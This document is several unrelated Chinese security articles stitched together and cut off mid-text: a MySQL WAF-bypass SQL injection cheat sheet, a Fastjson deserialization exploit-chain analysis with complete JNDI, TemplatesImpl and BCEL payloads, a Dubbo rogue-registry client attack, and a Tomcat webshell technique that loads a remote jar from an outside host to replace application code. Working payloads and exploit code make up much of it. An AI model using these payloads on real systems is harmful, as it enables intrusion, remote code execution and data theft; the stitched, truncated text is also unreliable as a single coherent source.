注：MySQL数据库为了保持与其他数据库兼容，特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用，它把一些
MySQL特有的语句放在 / _! ..._ / 中，这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。 / _50001_
/表示数据库版本>=5.00.01时中间的语句才会执行。
/*!union*/ /*!*/ --+1%0Aselect 1,2,3 %23 绕过
# 获取数据
不演示被咬的了...
到了这里就比较简单了
内连注释+空语句+注释+换行 可绕所有
### 查库
/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!schema_name*/) /*!from*/ information_schema.schemata--+*/%23
### 查表
/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!table_name*/) /*!from*/ information_schema.tables where table_schema=0x747261696E--+*/%23
### 查字段
/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!column_name*/) /*!from*/ information_schema.columns where table_name=0x7573657273--+*/%23
### 查数据
/*!union*//*!*/--+1%0A%0ASELECT%201,2,concat(/*!username*/)%20/*!from*/%20users--+*/%23
### 系统函数
这里常规的方法还是被咬，但是用变量处理一下就直接过了。
/*!union*//*!*/--+1%0ASELECT 1,@s:=database/**/(),1%23
/*!union*//*!*/--+1%0ASELECT 1,@s:=user/**/(),1%23 | 社区文章 |
# Fastjson三种利用链对比分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Fastjson已被大家分析过很多次，笔者是java小白，尝试跟着大佬的步伐做一些分析。具体的各种小版本绕过可以参考先知这两篇：[Fastjson
1.2.22-1.2.24反序列化漏洞分析](https://xz.aliyun.com/t/9052)和[Fastjson
1.2.25-1.2.47反序列化漏洞分析](https://xz.aliyun.com/t/8979)。关于fastjson反序列化的深入分析参考三梦师傅的文章：[Fastjson反序列化RCE核心-四个关键点分析](https://xz.aliyun.com/t/7107)
本文主要是对三种利用链做分析和对比
## JdbcRowSetImpl
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
payload中的a对象用来当作缓存绕过，需要关注的是第二个对象
注意到其中`"autoCommit":true`，反序列化时，会反射设置属性，调用`com.sun.rowset.JdbcRowSetImpl.setAutoCommit()`
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
// conn为空才会调用到这里
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
跟入`com.sun.rowset.JdbcRowSetImpl.connect()`，触发`lookup`，加载远程恶意对象
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
// conn为空且dataSourceName不为空才会到这里
InitialContext var1 = new InitialContext();
// 成功触发JNDI注入
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
根据lookup到`com.sun.jndi.rmi.registry.RegistryContext.lookup()`
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
......
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟入`decodeObject`方法，看到加载了远程`Reference`绑定的恶意对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
总结：
* 实战可以利用，JDNI注入基于较低版本的JDK，LDAP适用范围更广
* 必须能出网，加载远端的恶意字节码，造成了局限性
## TemplateImpl
String payload = "{\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
"},\n" +
"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);
注意其中的Payload来自于恶意类，该类应该继承自`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
类似第一条链，使用两个对象绕过，其中的Payload为恶意类的字节码再Base64编码的结果，给出简易的py脚本
fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)
该链需要开启`Feature.SupportNonPublicField`参数再反射设置属性，查看官方说明，如果某属性不存在set方法，但还想设置值时，需要开启该参数，这里的情况正好符合，而实际项目中很少出现这种情况，导致该链较鸡肋，没有实际的意义（其实`TemplateImpl`类中有set方法，比如`setTransletBytecodes`，但是名称和`Bytecodes`不一致）
在`com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField`设置属性时会有判断
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
......
反序列化时，fastjson中会把”_”开头的属性替换为空。并在`outputProperties`设置值时调用`getOutputProperties`
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
调用到`com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer`方法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟入`getTransletInstance`
// name不能为空所以在payload中设置a.b
if (_name == null) return null;
// 关键
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入`defineTransletClasses`，对父类进行了验证，这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题，将在上方的`newInstance`方法中实例化该类，造成RCE
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
为什么`_bytescode`要对字节码进行base64编码？反序列化的过程中会调用很多类，在经过该类`com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze`的时候，会对字段进行一次base64的解码
......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
byte[] bytes = lexer.bytesValue();
......
跟入`lexer.bytesValue()`方法，看到`decodeBase64`
public byte[] bytesValue() {
......
// base64解码
return IOUtils.decodeBase64(buf, np + 1, sp);
}
总结：
* TemplatesImpl类是Java反序列化界比较常用的类，更容易理解和上手
* 需要开启`Feature.SupportNonPublicField`，实战中不适用
## BasicDataSource
String payload = "{\n" +
" \"name\":\n" +
" {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
" },\n" +
" \"x\" : {\n" +
" \"name\": {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"y\": {\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"c\": {\n" +
" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\":\"!!!Payload!!!\",\n" +
"\n" +
" \"$ref\": \"$.x.y.c.connection\"\n" +
"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(payload);
这个Payload适用于1.2.37版本，并且需要导入Tomcat相关的包
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
</dependencies>
生成`driverClassName`的工具如下
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
关于`com.sun.org.apache.bcel.internal.util.ClassLoader`参考[P师傅(phith0n)](https://github.com/phith0n)的《Java安全漫谈》
BCEL的全名是Apache Commons BCEL，Apache
Commons项目下的一个子项目，包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用：
Repository 用于将一个Java Class先转换成原生字节码，当然这里也可以直接使用javac命令来编译java文件生成字节码； Utility
用于将原生的字节码转换成BCEL格式的字节码。
生成的BCEL格式大概如下：
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
将这种格式的字符串，作为“字节码”传入`new
ClassLoader().loadClass(code).newInstance();`将会被实例化，当我们在Fastjson反序列化中构造出这种链，将会造成反序列化漏洞
回到Payload，开头一部分用于绕Fastjson黑白名单，没有什么特殊的意义，核心部分如下：
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"!!!Payload!!!",
"$ref": "$.x.y.c.connection"
}
}
}
这个版本利用的是`$ref`这个特性：当fastjson版本>=1.2.36时，我们可以使用`$ref`的方式来调用任意的getter，比如这个Payload调用的是`x.y.c.connection`，x是这个大对象，最终调用的是c对象的connection方法，也就是`BasicDataSource.connection`
参考代码`com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591`
if ("$ref" == key && context != null) {
// 传入的ref是$.x.y.c.connection，匹配到else
if ("@".equals(ref)) {
...
} else if ("..".equals(ref)) {
...
} else if ("$".equals(ref)) {
...
} else {
Object refObj = parser.resolveReference(ref);
if (refObj != null) {
object = refObj;
} else {
// 将$.x.y.c.connection加入到Task
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
}
// 处理后设置到context
parser.setContext(context, object, fieldName);
漏洞的触发点在`com.alibaba.fastjson.JSON.parse:154`
parser.handleResovleTask(value);
跟入`com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465`
if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
// 看到eval感觉有东西
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {
// skip
}
}
}
跟入`JSONPath.eval`，这里的`segement`数组中的是`[x,y,c,connection]`
public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segement segement = segments[i];
// 继续跟入
currentObject = segement.eval(this, rootObject, currentObject);
}
return currentObject;
}
到达`com.alibaba.fastjson.JSONPath:1350`
public Object eval(JSONPath path, Object rootObject, Object currentObject) {
if (deep) {
List<Object> results = new ArrayList<Object>();
path.deepScan(currentObject, propertyName, results);
return results;
} else {
// return path.getPropertyValue(currentObject, propertyName, true);
return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
}
}
继续跟入`path.getPropertyValue`
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
if (currentObject == null) {
return null;
}
if (currentObject instanceof Map) {
Map map = (Map) currentObject;
Object val = map.get(propertyName);
if (val == null && SIZE == propertyNameHash) {
val = map.size();
}
return val;
}
final Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
// 最后一次循环到达这里
return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
} catch (Exception e) {
throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
}
}
跟入`com.alibaba.fastjson.serializer.JavaBeanSerializer:439`
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
FieldSerializer fieldDeser = getFieldSerializer(keyHash);
......
// 跟入
return fieldDeser.getPropertyValue(object);
}
跟入`com.alibaba.fastjson.serializer.FieldSerializer:145`
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
Object propertyValue = fieldInfo.get(object);
到达`com.alibaba.fastjson.util.FieldInfo`，达到最终触发点：`method.invoke`
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
}
看到这里的javaObject正是`BasicDataSouce`
回到`BasicDataSource`本身
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
// 跟入
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
@Override
public Connection run() throws SQLException {
// 跟入createDataSource()
return createDataSource().getConnection();
}
}
// 继续跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最终触发点，其中`driverClassName`和`driverClassLoader`都是可控的，由用户输入，指定ClassLoader为`com.sun.org.apache.bcel.internal.util.ClassLoader`，设置ClassName为`BCEL...`这种格式后，在`newInstance`方法执行后被实例化。第二个参数`initial`为true时，类加载后将会直接执行`static{}`块中的代码。
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(
driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();
总结：
* 不需要出网，不需要开启特殊的参数，适用范围较广
* 目标需要引入tomcat依赖，虽说比较常见，但也是一种限制 | 社区文章 |
### 0x01 前言
前段时间写了篇关于Dubbo在默认dubbo协议下，使用hessian2序列化方式的利用讲解文章[《dubbo源码浅析：默认反序列化利用之hessian2》](https://www.anquanke.com/post/id/197658)，我发现网络上并没有存在过讲解这方面利用的文章，其实这么简单，想必很多大佬在这之前已经知道了...
文章发了之后，我觉得应该很多公司都对其Dubbo服务的安全隐患进行了排查，对于一些没有安全审查能力的公司，可能会留下了比较大的安全隐患，故而，我又写了篇关于Hessian2反序列化安全加固的文章[《dubbo反序列化问题-Hessian2安全加固和修复》](https://note.youdao.com/)
，原理也非常之简单，其实就是加入黑名单，相对于原生Java反序列化原理差不多，只不过原生Java反序列化已经有实现了，只要配置系统环境变量java.serialization去配置Filter就好了。
前面，所讲解的都是Dubbo服务端的攻击手法，那么，我们有没有办法去攻击Dubbo客户端呢？既然Dubbo服务端能接收客户端发来的序列化数据进行反序列化，造成RCE，那么对于服务端的恶意序列化数据响应，必然也会造成客户端反序列化RCE吧？
带着这些疑问，我对其源码进行了一番研究，并且进行了实验。我们知道，使用Dubbo的时候，我们一般使用Zookeeper作为注册中心，也可以不使用注册中心，选择直连的方式，参考官方文档
若客户端选择了直连的方式，我们就可以类似Mysql Rouge、Redis
Rouge的方式，去部署一个恶意的服务，在客户端连接上来后，返回恶意的序列化数据，造成客户端反序列化RCE。具体实现，后面我会在github开源的项目[learn-java-bug](https://github.com/threedr3am/learnjavabug)放出，在dubbo这个module的com.threedr3am.bug.dubbo.rouge包下，具体使用方式，有两种反序列化攻击hessian2和原生java，具体选用随意，只要在攻击代码中修改一下以下代码即可：
String zookeeperUri = "127.0.0.1:2181";//直连模式下，无需关心这个配置
String rougeHost = "127.0.0.1";//当前恶意服务所在ip
int rougePort = 33336;//当前恶意服务通讯端口
new DNSURL().startRougeServer(zookeeperUri, rougeHost, rougePort, bytes, false);//直连模式下，startRougeServer方法最后一个attackRegister参数必须为false
上面只是直连的攻击手法，个人觉得比较low的，因为你没办法控制客户端的配置，既然都不可控，就谈不上直连攻击了。那么，有没有更容易的利用手法呢？我们能不能直接连接客户端，发送恶意序列化数据？
经过一番源码论证以及试验，也行不通，因为客户端默认也是使用netty，和服务端建立tcp长连接，也就是说，客户端不监听tcp连接，它只会主动建立连接，那么，这里是不是可以考虑tcp的攻击？是不是可以遍历seq，去伪造数据包？我这里不对其进行考虑和研究，当然是因为有更好的利用手法啦！
* * *
### 0x02 dubbo服务集群
为了避免单点故障，现在的应用通常至少会部署在两台服务器上。对于一些负载比较高的服务，会部署更多的服务器。这样，在同一环境下的服务提供者数量会大于1。对于服务消费者来说，同一环境下出现了多个服务提供者。这时会出现一个问题，服务消费者需要决定选择哪个服务提供者进行调用。另外服务调用失败时的处理措施也是需要考虑的，是重试呢，还是抛出异常，亦或是只打印异常等。为了处理这些问题，Dubbo
定义了集群接口 Cluster 以及 Cluster Invoker。集群 Cluster 用途是将多个服务提供者合并为一个 Cluster
Invoker，并将这个 Invoker 暴露给服务消费者。这样一来，服务消费者只需通过这个 Invoker
进行远程调用即可，至于具体调用哪个服务提供者，以及调用失败后如何处理等问题，现在都交给集群模块去处理。集群模块是服务提供者和服务消费者的中间层，为服务消费者屏蔽了服务提供者的情况，这样服务消费者就可以专心处理远程调用相关事宜。比如发请求，接受服务提供者返回的数据等。这就是集群的作用。
上面是抄摘Dubbo官方文档的一番描述，Dubbo是一个具备高可用特性的RPC框架，为了高可用的特性，若单点部署，出现故障就跟高可用毛线关系没有了，所以，一般很多企业都会对其进行生产可用性的调整，无非就是集群部署，部署多个节点，那么，这个时候，若是使用注册中心的方式，就能达到动态的扩容和下线了，因为集群服务的每一台机器，都把自己的一些连接和配置信息放在了Zookeeper（其它的注册中心也一样，类似nacos等等）上了。
既然是通过Zookeeper去注册新的服务，让客户端去发现，进行连接使用。那么，这就是一个利用突破点，若我们把前面所说的，我们的dubbo
rouge恶意服务注册到Zookeeper，这样，在客户端进行负载均衡的时候，就会有几率连接到我们的恶意服务，从而使dubbo客户端能接收并反序列化我们的恶意序列化数据，最终RCE，更绝的是，我们可以把其它机器的注册信息删除了，那么客户端就剩下我们的恶意服务可以连接了，一打一个准。
* * *
### 0x03 恶意服务注册
上一小节说了，把我们的恶意服务注册到Zookeeper来，经过一番调试，可以看到，默认情况下，以某service服务的全限定名`com.threedr3am.learn.server.boot.DemoService`为例，存在Zookeeper的路径为：
/dubbo/com.threedr3am.learn.server.boot.DemoService}/providers/
对于每一个dubbo服务，都会在providers目录下，新建一个children path，一个进行了URLEncode的path，例：
dubbo%3A%2F%2F127.0.0.1%3A20881%2Fcom.threedr3am.learn.server.boot.D
emoService%3Factives%3D5%26anyhost%3Dtrue%26application%3Dservice-pr
ovider%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26gener
ic%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoServic
e%26methods%3Dhello%26pid%3D28092%26release%3D2.7.5%26retries%3D3%26
revision%3D1.0%26side%3Dprovider%26time
out%3D3000%26timestamp%3D1582005204823%26version%3D1.0
可以看到，上面的信息，包含了dubbo服务所在的ip和port
既然如此，那么我们只要加入一个同样的path，指向我们的恶意服务即可。但是，我们怎么确定service名称呢？其实，并不需要，我们只要遍历到providers目录，从providers取出已有的一个path，对其进行修改成我们恶意服务的ip和port后添加就行了，具体实现代码就不放了。
并且，更绝的是，我们把其他的注册信息删除了，因此，客户端根据负载均衡，只能选择唯一的，也就是我们的恶意服务进行RPC了，在对其进行了测试之后，效果很好，客户端的RPC请求里面就发过来了，那么我们就可以进行下一步了攻击了。
* * *
### 0x04 dubbo服务治理
上图所示为dubbo的服务治理架构图，在dubbo2.7以后，多了三大feature，其中之一为元数据中心，习惯使用dubbo的人一般都比较了解，当集群部署dubbo的服务，每一个dubbo服务都会把自身信息注册至注册中心，也就是途中，dubbo客户端可访问的注册中心。
随着注册信息的增加，数据量的膨胀，会导致注册中心不断增大网络开销，直接造成了服务地址推送慢等负面影响，因为在2.7版本以前，注册中心存放在大量注册信息无关的信息，因此在2.7以后，为了避免数据量的膨胀导致注册中心不断增大网络开销，新增了元数据中心，用于存储此类与注册无关的信息，其中包含了服务的方法列表以及参数列表等等。
但dubbo开发者，为了降低开发者使用dubbo的难度，还是存在着把部分信息存在了注册中心，具体是何信息呢？我们以zookeeper为例，展开探究。
* * *
### 0x05 控制客户端序列化类型
上一小节，讲述了如何去把恶意服务注册到注册中心，但是，我们在默认情况下，一般都是使用Hessian2的序列化方式，它的可利用的gadget有点少，因此，利用受限还是挺严重的。
若是客户端使用的是原生Java序列化方式，那么，我们的攻击威力，瞬间就大增了，但是，一般情况下，很多Dubbo的使用者，他们都是使用默认缺省配置，也就是Hessian2的序列化方式，凉凉...
但我们回想一下，在使用dubbo的时候，我们是不是只听过服务端配置序列化类型，而没听过使用客户端配置序列化类型？
在回顾我们前面所说的，服务端往注册中心写的信息：
dubbo%3A%2F%2F127.0.0.1%3A20881%2Fcom.threedr3am.learn.server.boot.D
emoService%3Factives%3D5%26anyhost%3Dtrue%26application%3Dservice-pr
ovider%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26gener
ic%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoServic
e%26methods%3Dhello%26pid%3D28092%26release%3D2.7.5%26retries%3D3%26
revision%3D1.0%26side%3Dprovider%26time
out%3D3000%26timestamp%3D1582005204823%26version%3D1.0
对其进行decode：
dubbo://127.0.0.1:20881/com.threedr3am.learn.server.boot.DemoService
?actives=5&anyhost=true&application=service-provider&deprecated=fals
e&dubbo=2.0.2&dynamic=true&generic=false&interface=com.threedr3am.le
arn.server.boot.DemoService&methods=hello&pid=28092&release=2.7.5&re
tries=3&revision=1.0&side=provider&timeout=
3000×tamp=1582005204823&version=1.0
好像并没有发现有什么异处。
在进一步对序列化和反序列化相关代码审计之后，我发现，客户端的序列化方式，居然是根据服务端的配置来选择，那么，我们是不是就对其序列化类型可控了？
在我通过对服务端序列化类型配置为原生java类型后，我发现。
dubbo://127.0.0.1:20881/com.threedr3am.learn.server.boot.DemoService
?actives=5&anyhost=true&application=service-provider&deprecated=fals
e&dubbo=2.0.2&dynamic=true&generic=false&interface=com.threedr3am.le
arn.server.boot.DemoService&methods=hello&pid=28092&release=2.7.5&re
tries=3&revision=1.0&serialization=java&side=provider&timeout=
3000×tamp=1582005204823&version=1.0
zookeeper的注册信息中，居然多出了一个配置项`serialization=java`，没错，默认情况下，这个配置是缺省的，缺省情况下，客户端会选择hessian2的序列化方式，若在注册信息中，加入该配置，客户端在读取该注册信息并连接上我们的dubbo服务后，它就选择了原生java的序列化方式了。
因此，我们就能通过追加serialization参数去自由选择客户端的序列化方式了，例如`serialization=java`，别忘了，根据dubbo协议以及源码的判断，还得把恶意响应包的头部的序列化标识id修改为原生Java的id，具体数字看：org.apache.dubbo.common.serialize.Constants
package org.apache.dubbo.common.serialize;
public interface Constants {
byte HESSIAN2_SERIALIZATION_ID = 2;
byte JAVA_SERIALIZATION_ID = 3;
byte COMPACTED_JAVA_SERIALIZATION_ID = 4;
byte FASTJSON_SERIALIZATION_ID = 6;
byte NATIVE_JAVA_SERIALIZATION_ID = 7;
byte KRYO_SERIALIZATION_ID = 8;
byte FST_SERIALIZATION_ID = 9;
byte NATIVE_HESSIAN_SERIALIZATION_ID = 10;
byte PROTOSTUFF_SERIALIZATION_ID = 12;
byte AVRO_SERIALIZATION_ID = 11;
byte GSON_SERIALIZATION_ID = 16;
byte PROTOBUF_JSON_SERIALIZATION_ID = 21;
}
* * *
### 0x06 发送恶意序列化数据
既然，我们可以注册恶意服务，并且还能控制客户端的反序列化方式，那么，只要注册中心可控，我们就能畅通无阻，而且，这种打法，比打服务端更销魂，打服务端，我们得针对特定ip、port去打，若使用者更换了端口号，我们还得去扫出来，说不定就触发蜜罐了。
而这种方式，当然，注册中心的端口可能也会被定制的修改掉，但是比起dubbo，根据我的个人经验，我有理由相信概率更低。so，现在我们只要等客户端送上门就行了，哈哈，我终于理解
**rouge** 中文意指 **胭脂** 的意思了...
脚本编写，我这边以`commons-collections:commons-collections:3.2.1`的gadget为例。
依赖（这里需要特别注意Zookeeper的版本，后面等开放项目[learn-java-bug](https://github.com/threedr3am/learnjavabug)中的利用demo后，再慢慢加上其它注册中心利用的demo）
## 参考
* [一文聊透 Dubbo 元数据中心](https://mp.weixin.qq.com/s/x5bv9cFqZ0TrqaZmBDbPng) \- Kirito | 社区文章 |
此篇文章中的内容已经报告给Apache，他们的回复如下：
This report does notdescribe a security vulnerability in Apache Tomcat.
The Apache Tomcat SecurityTeam will be taking no further action
regarding this report.
好了，开始正文。
搞Java的应该都知道，如果能黑到一台机器上，可以用自己编译好的文件覆盖本地的jar或者classes，等服务器重启的时候就可以远程访问自己的代码，甚至是更改程序逻辑来做各种事情。但要等服务器重启这个要求有点不好控制。目前有些把程序部署在云上的公司已经做到定期重启机器，每次重启都是一次全新的部署，所以覆盖将直接无效。其次如果做了jar包签名，那覆盖jar也是不行的。甚至安全做得好一点的机器，上传jar或者可以文件都会有记录或者被发现。
最近突发奇想，做了些小研究，发现了几个可以在有webshell的前提下不上传任何文件，不重启tomcat（默认配置）就能覆盖本地代码的方法，大家切不要拿来做坏事哦。
写了两个很简单的POC项目，web项目架构图如下：
正常功能很简单，就是一个servlet，输出jar包里的类返回的字符串：
protectedvoid doGet(HttpServletRequest request, HttpServletResponse response) throwsServletException, IOException {
MyNamename = new MyName();
response.getWriter().println(name.getName());
}
jar包项目里的类：
public class MyName {
publicString getName()
{
return"Jack";
}
}
Lib里另外的那个tomcat-api.jar可以是任何文件，这里我随手复制进去的，稍后有用。
然后把“Jack”改成其他字符串，这里我改成 “a
hacker”生成了一个ahacker.jar，以及改成”Lisa”生成一个raal.jar，之后会用。我们的目标就是远程用ahacker.jar覆盖real.jar。
好了，开始简单讲下思路。其实很简单，我发现通过Java代码可以添加jar到系统类路径，并且只要不重启服务器，这个修改都是存在的，那么接下来就是让服务器重新加载一遍jar包就行。按照Tomcat加载jar包的优先级，在系统类路径里的jar包应该优先被加载，而如果有相同的类存在，tomcat只会用第一个被加载的类，也就是说它会用我们放到类路径里的jar包里的类。
第一个问题，如何在runtime修改类路径，这个的代码到处都是，比如：
><https://stackoverflow.com/questions/1010919/adding-files-to-java-classpath-at-runtime>
第二个问题：如何让tomcat重新加载一遍项目jar包，默认配置下是没有热部署的，但在tomcat的context.xml中我们可以看到：
>`<WatchedResource>WEB-INF/web.xml</WatchedResource>`
也就是默认情况下tomcat是监控所有web.xml的变化的，如果这个文件有变化就会重新加载项目。
第三个问题：如果还要上传jar到目标服务器的话，会增加被发现的几率，我找到了一个可以远程把jar包放进类路径的办法。参见以下代码（包括修改类路径）：
try {
URIuri = new URI("http://192.168.128.71:8080/ahacker.jar");
URLClassLoaderclassLoader = (URLClassLoader) ClassLoader
.getSystemClassLoader();
Methodadd = URLClassLoader.class.getDeclaredMethod("addURL",
newClass[] { URL.class });
add.setAccessible(true);
add.invoke(classLoader,uri.toURL());
}catch (Exception exp) {
exp.printStackTrace();
}
ClassLoadercl = ClassLoader.getSystemClassLoader();
URL[]urls = ((URLClassLoader) cl).getURLs();
for(URL url : urls) {
out.println(url.getFile());
}
修改web.xml的代码就不放了哈。。。文件操作而已。
效果图也不放了哈。。就是第一次访问servlet的时候看到Jack，访问webshell后等10几秒再访问servlet就变成a
hacker了。忘记说一点，在访问webshell之前要先访问一下正常的servlet。如果运行起来后直接访问webshell，修改类路径然后重新加载似乎整个项目会卡住（dos？），下面的方法同样要这么做。
不过以上这个思路我只在tomcat
7.0.41和以下的版本实验成功了，7.0.5之后的版本怎么搞都没成功，似乎Apache把tomcat类加载机制修改了一些。猜测可能是重新加载的时候优先加载项目lib下的jar。。系统类路径里的不计再重新加载（似乎有点没道理，我没深究，麻烦知道的告知一声）。
但，放弃么？当然不啊。
我又开始寻找其他可能性，最后终于让我找到了一个类似的方案，在最新的tomcat 9.0.0 m26中都可行。只是要多些操作。
第一步操作不变，远程加载jar然后放到系统类路径。
第二步，用本地其他任何一个文件覆盖real.jar，担心签名的话用其他签名jar应该可行。不要通过java
IO，尝试了下似乎无法成功删除和修改jar。但既然有webshell就可以运行命令嘛，del /Y，copy
/Y啥的搞起。目的就是让目标类中不存在原本的类，当tomcat重新加载后绊脚石当然也不存在了。
第三步，修改web.xml触发重新加载。
第四步，等重新加载结束后，大概10－20秒，访问servlet就会看到a hacker。
我后来还试了复原real.jar，其实就是copy
real.jar到别的地方，然后覆盖real.jar，最后复原real.jar。这么做的过程需要注意在复原rea.jar的之前，要先访问一下servlet。这也才是这个攻击的重点，即便tomca已经在我们修改类路径后似乎也优先加载项目lib下的jar，我们只要让jar里面的类不存在了，tomcat就会重新找到我们放在系统类路径里的jar，并用里面的类。复原后的jar不会构成影响，因为该加载的类已经加载完了嘛。PS:恢复real.jar之前你可以让JSP线程睡个半分钟，估摸着重新加载结束后，去访问一下覆盖过的代码就行。
对了，在tomcat 9中远程加载jar不再能用URI，但Java的URL本身就支持jar协议。。代码如下：
try {
URLuri = new URL("jar:http://192.168.128.71:8080/ahacker.jar!/");
